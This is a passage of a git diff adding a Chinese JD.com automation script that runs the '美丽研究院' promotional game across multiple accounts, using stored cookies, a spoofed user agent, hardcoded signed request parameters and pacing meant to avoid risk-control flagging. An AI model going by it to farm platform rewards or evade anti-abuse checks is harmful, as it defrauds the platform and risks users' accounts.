+ } + } + if (isJSBox) { + if (!value) return $file.delete(`shared://${key}.txt`); + return $file.write({ + data: $data({ + string: value + }), + path: `shared://${key}.txt` + }) + } + } + const read = (key) => { + if (isQuanX) return $prefs.valueForKey(key) + if (isSurge) return $persistentStore.read(key) + if (isNode) { + try { + if (!node.fs.existsSync(node.path.resolve(__dirname, NodeSet))) return null; + const dataValue = JSON.parse(node.fs.readFileSync(node.path.resolve(__dirname, NodeSet))) + return dataValue[key] + } catch (er) { + return AnError('Node.js持久化读取', null, er) + } + } + if (isJSBox) { + if (!$file.exists(`shared://${key}.txt`)) return null; + return $file.read(`shared://${key}.txt`).string + } + } + const adapterStatus = (response) => { + if (response) { + if (response.status) { + response["statusCode"] = response.status + } else if (response.statusCode) { + response["status"] = response.statusCode + } + } + return response + } + const get = (options, callback) => { + options.headers['User-Agent'] = 'JD4iPhone/167169 (iPhone; iOS 13.4.1; Scale/3.00)' + if (isQuanX) { + if (typeof options == "string") options = { + url: options + } + options["method"] = "GET" + //options["opts"] = { + // "hints": false + //} + $task.fetch(options).then(response => { + callback(null, adapterStatus(response), response.body) + }, reason => callback(reason.error, null, null)) + } + if (isSurge) { + options.headers['X-Surge-Skip-Scripting'] = false + $httpClient.get(options, (error, response, body) => { + callback(error, adapterStatus(response), body) + }) + } + if (isNode) { + node.request(options, (error, response, body) => { + callback(error, adapterStatus(response), body) + }) + } + if (isJSBox) { + if (typeof options == "string") options = { + url: options + } + options["header"] = options["headers"] + options["handler"] = function(resp) { + let error = resp.error; + if (error) error = JSON.stringify(resp.error) + let body = resp.data; + if (typeof body == "object") body = JSON.stringify(resp.data); + callback(error, adapterStatus(resp.response), body) + }; + $http.get(options); + } + } + const post = (options, callback) => { + options.headers['User-Agent'] = 'JD4iPhone/167169 (iPhone; iOS 13.4.1; Scale/3.00)' + if (options.body) options.headers['Content-Type'] = 'application/x-www-form-urlencoded' + if (isQuanX) { + if (typeof options == "string") options = { + url: options + } + options["method"] = "POST" + //options["opts"] = { + // "hints": false + //} + $task.fetch(options).then(response => { + callback(null, adapterStatus(response), response.body) + }, reason => callback(reason.error, null, null)) + } + if (isSurge) { + options.headers['X-Surge-Skip-Scripting'] = false + $httpClient.post(options, (error, response, body) => { + callback(error, adapterStatus(response), body) + }) + } + if (isNode) { + node.request.post(options, (error, response, body) => { + callback(error, adapterStatus(response), body) + }) + } + if (isJSBox) { + if (typeof options == "string") options = { + url: options + } + options["header"] = options["headers"] + options["handler"] = function(resp) { + let error = resp.error; + if (error) error = JSON.stringify(resp.error) + let body = resp.data; + if (typeof body == "object") body = JSON.stringify(resp.data) + callback(error, adapterStatus(resp.response), body) + } + $http.post(options); + } + } + const AnError = (name, keyname, er, resp, body) => { + if (typeof(merge) != "undefined" && keyname) { + if (!merge[keyname].notify) { + merge[keyname].notify = `${name}: 异常, 已输出日志 ‼️` + } else { + merge[keyname].notify += `\n${name}: 异常, 已输出日志 ‼️ (2)` + } + merge[keyname].error = 1 + } + return console.log(`\n‼️${name}发生错误\n‼️名称: ${er.name}\n‼️描述: ${er.message}${JSON.stringify(er).match(/\"line\"/)?`\n‼️行列: ${JSON.stringify(er)}`:``}${resp&&resp.status?`\n‼️状态: ${resp.status}`:``}${body?`\n‼️响应: ${resp&&resp.status!=503?body:`Omit.`}`:``}`) + } + const time = () => { + const end = ((Date.now() - start) / 1000).toFixed(2) + return console.log('\n签到用时: ' + end + ' 秒') + } + const done = (value = {}) => { + if (isQuanX) return $done(value) + if (isSurge) isRequest ? $done(value) : $done() + } + return { + AnError, + isRequest, + isJSBox, + isSurge, + isQuanX, + isLoon, + isNode, + notify, + write, + read, + get, + post, + time, + done + } +}; +}).catch(e => { +console.error("ERRROR:",e) +}) \ No newline at end of file diff --git a/jd_beauty.js b/jd_beauty.js new file mode 100644 index 0000000..91d73c6 --- /dev/null +++ b/jd_beauty.js @@ -0,0 +1,740 @@ +/* +美丽研究院 +修复+尽量优化为同步执行,减少并发,说不定就减小黑号概率了呢? +https://raw.githubusercontent.com/aTenb/jdOpenSharePicker/master/jd_beautyStudy.js +更新时间:2021-12-03 +活动入口:京东app首页-美妆馆-底部中间按钮 +20 7,12,19 * * * jd_beautyStudy.js, tag=美丽研究院, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + */ +const $ = new Env('美丽研究院'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const WebSocket = require('ws'); +const UA = process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT) +$.accountCheck = true; +$.init = false; +let cookiesArr = [], cookie = '', message; +function oc(fn, defaultVal) { + try { + return fn() + } catch (e) { + return undefined + } +} +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + return; + } + if (!$.isNode()) { + $.msg($.name, 'iOS端不支持websocket,暂不能使用此脚本', ''); + return + } + helpInfo = [] + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + $.token = ''; + //await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await accountCheck(); + while (!$.hasDone) { + await $.wait(3000) + } + if ($.accountCheck) { + await jdBeauty(); + } + if ($.accountCheck) { + helpInfo = $.helpInfo; + } + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function accountCheck() { + $.hasDone = false; + console.log(`***检测账号是否黑号***`); + await getIsvToken() + await $.wait(10000) + await getIsvToken2() + await $.wait(10000) + await getToken() + await $.wait(10000) + if (!$.token) { + console.log(`\n\n提示:请尝试换服务器ip或者设置"xinruimz-isv.isvjcloud.com"域名直连,或者自定义UA再次尝试(环境变量JD_USER_AGENT)\n\n`) + $.accountCheck = false; + return + } + let client = new WebSocket(`wss://xinruimz-isv.isvjcloud.com/wss/?token=${$.token}`, null, { + headers: { + 'user-agent': UA, + } + }); + client.onopen = async () => { + console.log(`美容研究院服务器连接成功`); + client.send('{"msg":{"type":"action","args":{"source":1},"action":"_init_"}}'); + await $.wait(10000); + client.send(`{"msg":{"type":"action","args":{"source":1},"action":"get_user"}}`); + await $.wait(10000); + }; + client.onmessage = async function (e) { + if (e.data !== 'pong' && e.data && safeGet(e.data)) { + let vo = JSON.parse(e.data); + if (vo.action === "_init_") { + let vo = JSON.parse(e.data); + if (vo.msg === "风险用户") { + $.accountCheck = false; + // $.init=true; + client.close(); + console.log(`${vo.msg},跳过此账号`) + } + } else if (vo.action === "get_user") { + // $.init=true; + $.accountCheck = true; + client.close(); + console.log(`${vo.msg},账号正常`); + } + } + client.onclose = (e) => { + $.hasDone = true; + console.log('服务器连接关闭\n'); + }; + } +} + +async function jdBeauty() { + $.hasDone = false + await mr() + while (!$.hasDone) { + await $.wait(10000) + } + await showMsg(); +} + +async function mr() { + $.coins = 0 + let positionList = ['b1', 'h1', 's1', 'b2', 'h2', 's2'] + $.tokens = [] + $.pos = [] + $.helpInfo = [] + $.needs = [] + let client = new WebSocket(`wss://xinruimz-isv.isvjcloud.com/wss/?token=${$.token}`,null,{ + headers:{ + 'user-agent': UA, + } + }) + console.log(`wss://xinruimz-isv.isvjcloud.com/wss/?token=${$.token}`) + client.onopen = async () => { + console.log(`美容研究院服务器连接成功`); + client.send('{"msg":{"type":"action","args":{"source":1},"action":"_init_"}}'); + await $.wait(10000); + client.send(`{"msg":{"type":"action","args":{"source":"meizhuangguandibudaohang"},"action":"stats"}}`) + await $.wait(10000); + while (!$.init) { + client.send(`ping`) + await $.wait(10000); + } + console.log(`\n========生产任务相关========\n`) + for (let help of helpInfo) { + client.send(help); + } + await $.wait(3000) + client.send(`{"msg":{"type":"action","args":{},"action":"get_produce_material"}}`) + await $.wait(10000); + // 获得正在生产的商品信息 + client.send('{"msg":{"type":"action","args":{},"action":"product_producing"}}') + await $.wait(10000); + // 获得库存 + client.send(`{"msg":{"type":"action","args":{},"action":"get_package"}}`) + // 获得可生成的商品列表 + client.send(`{"msg":{"type":"action","args":{"page":1,"num":10},"action":"product_lists"}}`) + await $.wait(10000); + // 获得原料生产列表 + for (let pos of positionList) { + client.send(`{"msg":{"type":"action","args":{"position":"${pos}"},"action":"produce_position_info_v2"}}`) + await $.wait(10000); + } + console.log(`\n========日常任务相关========`) + client.send(`{"msg":{"type":"action","args":{},"action":"check_up"}}`) + await $.wait(20000); + if($.check_up){ + //收集 + client.send(`{"msg":{"type":"action","args":{},"action":"collect_coins"}}`); + await $.wait(20000); + //兑换 + client.send(`{"msg":{"type":"action","args":{},"action":"get_benefit"}}`) + await $.wait(50000); + //最后做时间最久的日常任务 + client.send(`{"msg":{"type":"action","args":{},"action":"shop_products"}}`) + await $.wait(10000); + } + }; + client.onclose = () => { + console.log(`本次运行获得美妆币${$.coins}`) + console.log('服务器连接关闭'); + $.init = true; + $.hasDone = true; + for (let i = 0; i < $.pos.length && i < $.tokens.length; ++i) { + client.send(`{"msg":{"type":"action","args":{"inviter_id":"${$.userInfo.id}"},"action":"employee_get_user"}}`); + $.helpInfo.push(`{"msg":{"type":"action","args":{"inviter_id":"${$.userInfo.id}","position":"${$.pos[i]}","token":"${$.tokens[i]}"},"action":"employee_v2"}}`) + client.send(`{"msg":{"type":"action","args":{"inviter_id":"${$.userInfo.id}","position":"${$.pos[i]}"},"action":"employee_speed_v2"}}`); + client.send(`{"msg":{"action":"write","type":"action","args":{"action_type":3,"channel":2,"source_app":2}}}`); + } + }; + client.onmessage = async function (e) { + if (e.data !== 'pong' && e.data && safeGet(e.data)) { + let vo = JSON.parse(e.data); + await $.wait(Math.random()*2000+500); + console.log(`\n开始任务:"${JSON.stringify(vo.action)}`); + switch (vo.action) { + case "get_ad": + console.log(`当期活动:${vo.data.screen.name}`) + if (vo.data.check_sign_in === 1) { + // 去签到 + console.log(`去做签到任务`) + client.send(`{"msg":{"type":"action","args":{},"action":"sign_in"}}`) + await $.wait(10000); + client.send(`{"msg":{"action":"write","type":"action","args":{"action_type":1,"channel":2,"source_app":2}}}`) + await $.wait(10000); + } + break + case "get_user": + $.userInfo = vo.data + $.total = vo.data.coins + if ($.userInfo.newcomer === 0) { + console.log(`去做新手任务`) + for (let i = $.userInfo.step; i < 15; ++i) { + client.send(`{"msg":{"type":"action","args":{},"action":"newcomer_update"}}`) + await $.wait(10000); + } + } else + $.init = true; + $.level = $.userInfo.level; + console.log(`当前美妆币${$.total},用户等级${$.level}`); + break; + case "check_up": + //获得当前任务状态 + $.taskState = vo.data + console.log($.taskState) + $.check_up = true + // 6-9点签到 + //for (let check_up of vo.data.check_up) { + // if (check_up['receive_status'] !== 1) { + // console.log(`去领取第${check_up.times}次签到奖励`) + // client.send(`{"msg":{"type":"action","args":{"check_up_id":${check_up.id}},"action":"check_up_receive"}}`) + // } else { + // console.log(`第${check_up.times}次签到奖励已领取`) + // } + // } + break + case "shop_products": + let count = $.taskState.shop_view.length; + if (count < $.taskState.daily_shop_follow_times) console.log(`\n去做关注店铺任务\n`); + for (let i = 0; i < vo.data.shops.length && count < $.taskState.daily_shop_follow_times; ++i) { + const shop = vo.data.shops[i]; + if (!$.taskState.shop_view.includes(shop.id)) { + count++; + console.log(`\n去做关注店铺【${shop.name}】`); + client.send(`{"msg":{"type":"action","args":{"shop_id":${shop.id}},"action":"shop_view"}}`); + await $.wait(5000); + client.send(`{"msg":{"action":"write","type":"action","args":{"action_type":6,"channel":2,"source_app":2,"vender":"${shop.vender_id}"}}}`); + await $.wait(5000); + } + await $.wait(10000); + } + count = $.taskState.product_adds.length; + if (count < $.taskState.daily_product_add_times && process.env.FS_LEVEL) console.log(`\n去做浏览并加购任务\n`) + for (let i = 0; i < vo.data.products.length && count < $.taskState.daily_product_add_times && process.env.FS_LEVEL; ++i) { + const product = vo.data.products[i]; + if (!$.taskState.product_adds.includes(product.id)) { + count++; + console.log(`\n去加购商品【${product.name}】`); + client.send(`{"msg":{"type":"action","args":{"add_product_id":${product.id}},"action":"add_product_view"}}`); + await $.wait(5000); + client.send(`{"msg":{"action":"write","type":"action","args":{"action_type":9,"channel":2,"source_app":2,"vender":"${product.id}"}}}`); + await $.wait(5000); + client.send(`{"msg":{"action":"write","type":"action","args":{"action_type":5,"channel":2,"source_app":2,"vender":"${product.id}"}}}`); + await $.wait(5000); + } + await $.wait(10000); + } + if ($.taskState.meetingplace_view.length <= vo.data.meetingplaces.length) { + for (let vc of vo.data.meetingplaces) { + console.log(`去做第${vc.name}浏览会场任务`) + client.send(`{"msg":{"type":"action","args":{"source":1,"meetingplace_id":${vc.id}},"action":"meetingplace_view"}}`) + await $.wait(2500) + } + } + + if ($.taskState.today_answered === 0) { + console.log(`去做每日问答任务`) + client.send(`{"msg":{"type":"action","args":{"source":1},"action":"get_question"}}`) + await $.wait(10000); + } + break + case 'newcomer_update': + if (vo.code === '200' || vo.code === 200) { + console.log(`第${vo.data.step}步新手任务完成成功,获得${vo.data.coins}美妆币`) + if (vo.data.step === 15) $.init = true + if (vo.data.coins) $.coins += vo.data.coins + } else { + console.log(`新手任务完成失败,错误信息:${JSON.stringify(vo)}`) + } + break + case 'get_question': + const questions = vo.data + let commit = {} + for (let i = 0; i < questions.length; ++i) { + const ques = questions[i] + commit[`${ques.id}`] = parseInt(ques.answers) + } + client.send(`{"msg":{"type":"action","args":{"commit":${JSON.stringify(commit)},"correct":${questions.length}},"action":"submit_answer"}}`) + await $.wait(10000); + break + case 'complete_task': + case 'action': + case 'submit_answer': + case "check_up_receive": + case "shop_view": + case "add_product_view": + case "meetingplace_view": + if (vo.code === '200' || vo.code === 200) { + console.log(`任务完成成功,获得${vo.data.coins}美妆币`) + if (vo.data.coins) $.coins += vo.data.coins + $.total = vo.data.user_coins + } else { + console.log(`任务完成失败,错误信息${vo.msg}`) + } + break + case "produce_position_info_v2": + // console.log(`${Boolean(oc(() => vo.data))};${oc(() => vo.data.material_name) !== ''}`); + if (vo.data && vo.data.material_name !== '') { + console.log(`【${oc(() => vo.data.position)}】上正在生产【${oc(() => vo.data.material_name)}】,可收取 ${vo.data.produce_num} 份`) + if (new Date().getTime() > vo.data.procedure.end_at) { + console.log(`去收取${oc(() => vo.data.material_name)}`) + client.send(`{"msg":{"type":"action","args":{"position":"${oc(() => vo.data.position)}","replace_material":false},"action":"material_fetch_v2"}}`) + await $.wait(5000); + client.send(`{"msg":{"type":"action","args":{},"action":"to_employee"}}`) + await $.wait(5000); + $.pos.push(oc(() => vo.data.position)) + } + } else { + if (oc(() => vo.data) && vo.data.valid_electric > 0) { + console.log(`【${vo.data.position}】上尚未开始生产`) + let ma + console.log(`$.needs:${JSON.stringify($.needs)}`); + if($.needs.length){ + ma = $.needs.pop() + console.log(`ma:${JSON.stringify(ma)}`); + } else { + ma = $.material.base[0]['items'][positionList.indexOf(vo.data.position)]; + console.log(`elsema:${JSON.stringify(ma)}`); + } + console.log(`ma booleam${Boolean(ma)}`); + if (ma) { + console.log(`去生产${ma.name}`) + client.send(`{"msg":{"type":"action","args":{"position":"${vo.data.position}","material_id":${ma.id}},"action":"material_produce_v2"}}`) + await $.wait(5000); + } else { + ma = $.material.base[1]['items'][positionList.indexOf(vo.data.position)] + if (ma) { + console.log(`else去生产${ma.name}`) + client.send(`{"msg":{"type":"action","args":{"position":"${vo.data.position}","material_id":${ma.id}},"action":"material_produce_v2"}}`) + await $.wait(5000); + } + } + } + else{ + console.log(`【${vo.data.position}】电力不足`) + } + } + break + case "material_produce_v2": + console.log(`【${oc(() => vo.data.position)}】上开始生产${oc(() => vo.data.material_name)}`) + client.send(`{"msg":{"type":"action","args":{},"action":"to_employee"}}`) + await $.wait(5000); + if(oc(() => vo.data.position)){ + $.pos.push(vo.data.position) + }else{ + console.log(`not exist:${oc(() => vo.data)}`) + } + break + case "material_fetch_v2": + if (vo.code === '200' || vo.code === 200) { + console.log(`【${vo.data.position}】收取成功,获得${vo.data.procedure.produce_num}份${vo.data.material_name}\n`); + } else { + console.log(`任务完成失败,错误信息${vo.msg}`) + } + break + case "get_package": + if (vo.code === '200' || vo.code === 200) { + // $.products = vo.data.product + $.materials = vo.data.material + let msg = `仓库信息:` + for (let material of $.materials) { + msg += `【${material.material.name}】${material.num}份 ` + } + console.log(msg) + } else { + console.log(`仓库信息获取失败,错误信息${vo.msg}`) + } + break + case "product_lists": + let need_material = [] + if (vo.code === '200' || vo.code === 200) { + $.products = vo.data.filter(vo=>vo.level===$.level) + console.log(`========可生产商品信息========`) + for (let product of $.products) { + let num = Infinity + let msg = '' + msg += `生产【${product.name}】` + for (let material of product.product_materials) { + msg += `需要原料“${material.material.name}${material.num} 份” ` //material.num 需要材料数量 + const ma = $.materials.filter(vo => vo.item_id === material.material_id)[0] //仓库里对应的材料信息 + // console.log(`ma:${JSON.stringify(ma)}`); + if (ma) { + msg += `(库存 ${ma.num} 份)`; + num = Math.min(num, Math.trunc(ma.num / material.num)) ;//Math.trunc 取整数部分 + if(material.num > ma.num){need_material.push(material.material)}; + // console.log(`num:${JSON.stringify(num)}`); + } else { + if(need_material.findIndex(vo=>vo.id===material.material.id)===-1) + need_material.push(material.material) + //console.log(`need_material:${JSON.stringify(need_material)}`); + msg += `(没有库存)` + num = -1000 + } + } + if (num !== Infinity && num > 0) { + msg += `,可生产 ${num}份` + console.log(msg) + console.log(`【${product.name}】可生产份数大于0,去生产`) + //product_produce 产品研发里的生产 + client.send(`{"msg":{"type":"action","args":{"product_id":${product.id},"amount":${num}},"action":"product_produce"}}`) + client.send(`{"msg":{"type":"action","args":{"product_id":${product.id},"amount":${num}},"action":"once_completion"}}`) + await $.wait(10000); + } else { + console.log(msg) + console.log(`【${product.name}】原料不足,无法生产`) + } + } + $.needs = need_material + // console.log(`product_lists $.needs:${JSON.stringify($.needs)}`); + console.log(`=======================`) + } else { + console.log(`生产信息获取失败,错误信息:${vo.msg}`) + } + // await $.wait(5000); + // client.close(); + break + case "product_produce": + if (vo.code === '200' || vo.code === 200) { + // console.log(`product_produce:${JSON.stringify(vo)}`) + console.log(`生产成功`) + } else { + console.log(`生产信息获取失败,错误信息${vo.msg}`) + } + break + case "collect_coins": + if (vo.code === '200' || vo.code === 200) { + // console.log(`product_produce:${JSON.stringify(vo)}`) + console.log(`收取成功,获得${vo['data']['coins']}美妆币,当前总美妆币:${vo['data']['user_coins']}\n`) + } else { + console.log(`收取美妆币失败,错误信息${vo.msg}`) + } + break + case "product_producing": + if (vo.code === '200' || vo.code === 200) { + for (let product of vo.data) { + if (product.num === product.produce_num) { + client.send(`{"msg":{"type":"action","args":{"log_id":${product.id}},"action":"new_product_fetch"}}`) + await $.wait(5000); + } else { + console.log(`产品【${product.product.id}】未生产完成,无法收取`) + } + } + } else { + console.log(`生产商品信息获取失败,错误信息${vo.msg}`) + } + break + case "new_product_fetch": + if (vo.code === '200' || vo.code === 200) { + console.log(`收取产品【${vo.data.product.name}】${vo.data.num}份`) + } else { + console.log(`收取产品失败,错误信息${vo.msg}`) + } + break + // case "get_task": + // console.log(`当前任务【${vo.data.describe}】,需要【${vo.data.product.name}】${vo.data.package_stock}/${vo.data.num}份`) + // if (vo.data.package_stock >= vo.data.num) { + // console.log(`满足任务要求,去完成任务`) + // client.send(`{"msg":{"type":"action","args":{"task_id":${vo.data.id}},"action":"complete_task"}}`) + // } + // break + case 'get_benefit': + for (let benefit of vo.data) { + if (benefit.type === 1) { //type 1 是京豆 + //console.log(`benefit:${JSON.stringify(benefit)}`); + if(benefit.description === "1 京豆" && parseInt(benefit.day_exchange_count) < 10 && $.total > benefit.coins){ + $timenum = parseInt($.total / benefit.coins); + if ($timenum > 10) $timenum = 10; + console.log(`\n可兑换${$timenum}次京豆:`) + for (let i = 0; i < $timenum; i++){ + client.send(`{"msg":{"type":"action","args":{"benefit_id":${benefit.id}},"action":"to_exchange"}}`); + await $.wait(5000) + client.send(`{"msg":{"type":"action","args":{"source":1},"action":"get_user"}}`) + await $.wait(5000); + } + } + // console.log(`物品【${benefit.description}】需要${benefit.coins}美妆币,库存${benefit.stock}份`) + // if (parseInt(benefit.setting.beans_count) === bean && //兑换多少豆 bean500就500豆 + // $.total > benefit.coins && + // parseInt(benefit.day_exchange_count) < benefit.day_limit) { + // console.log(`满足条件,去兑换`) + // client.send(`{"msg":{"type":"action","args":{"benefit_id":${benefit.id}},"action":"to_exchange"}}`) + // await $.wait(10000) + // } + } + } + break + case "to_exchange": + if(oc(() => vo.data.coins)){ + console.log(`兑换${vo.data.coins/-1000}京豆成功`) + }else{ + console.log(`兑换京豆失败`) + } + break + case "get_produce_material": + $.material = vo.data + break + //case "to_employee": + // console.log(`雇佣助力码【${oc(() => vo.data.token)}】`) + // if(oc(() => vo.data.token)){ + // $.tokens.push(vo.data.token) + // }else{ + // console.log(`not exist:${oc(() => vo.data)}`) + // } + // break + case "employee_v2": + console.log(`${vo.msg}`) + break + } + } + }; +} + +function getIsvToken() { + let config = { + url: 'https://api.m.jd.com/client.action?functionId=genToken', + body: 'body=%7B%22to%22%3A%22https%3A%5C/%5C/xinruimz-isv.isvjcloud.com%5C/?channel%3Dmeizhuangguandibudaohang%26collectionId%3D96%26tttparams%3DYEyYQjMIeyJnTG5nIjoiMTE4Ljc2MjQyMSIsImdMYXQiOiIzMi4yNDE4ODIifQ8%253D%253D%26un_area%3D12_904_908_57903%26lng%3D118.7159742308471%26lat%3D32.2010317443041%22%2C%22action%22%3A%22to%22%7D&build=167490&client=apple&clientVersion=9.3.2&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&osVersion=14.2&partner=apple&rfs=0000&scope=01&sign=b0aac3dd04b1c6d68cee3d425e27f480&st=1610161913667&sv=111', + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'user-agent': UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + } + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`); + console.log(`${JSON.stringify(err)}`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.isvToken = data['tokenKey']; + console.log(`isvToken:${$.isvToken}`); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getIsvToken2() { + let config = { + url: 'https://api.m.jd.com/client.action?functionId=isvObfuscator', + body: 'body=%7B%22url%22%3A%22https%3A%5C/%5C/xinruimz-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167490&client=apple&clientVersion=9.3.2&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&osVersion=14.2&partner=apple&rfs=0000&scope=01&sign=6eb3237cff376c07a11c1e185761d073&st=1610161927336&sv=102&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D', + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'user-agent': UA, + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + } + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.token2 = data['token'] + console.log(`token2:${$.token2}`); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getToken() { + let config = { + url: 'https://xinruimz-isv.isvjcloud.com/api/auth', + body: JSON.stringify({"token":$.token2,"source":"01"}), + headers: { + 'Host': 'xinruimz-isv.isvjcloud.com', + 'Accept': 'application/x.jd-school-island.v1+json', + 'Source': '02', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/json;charset=utf-8', + 'Origin': 'https://xinruimz-isv.isvjcloud.com', + 'user-agent': UA, + 'Referer': 'https://xinruimz-isv.isvjcloud.com/logined_jd/', + 'Authorization': 'Bearer undefined', + 'Cookie': `IsvToken=${$.token2};` + } + } + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.token = data.access_token + console.log(`$.token ${$.token}`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function showMsg() { + return new Promise(resolve => { + message += `本次运行获得美妆币${$.coins}枚\n当前美妆币${$.total}`; + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + resolve() + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + 'user-agent': UA, + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const 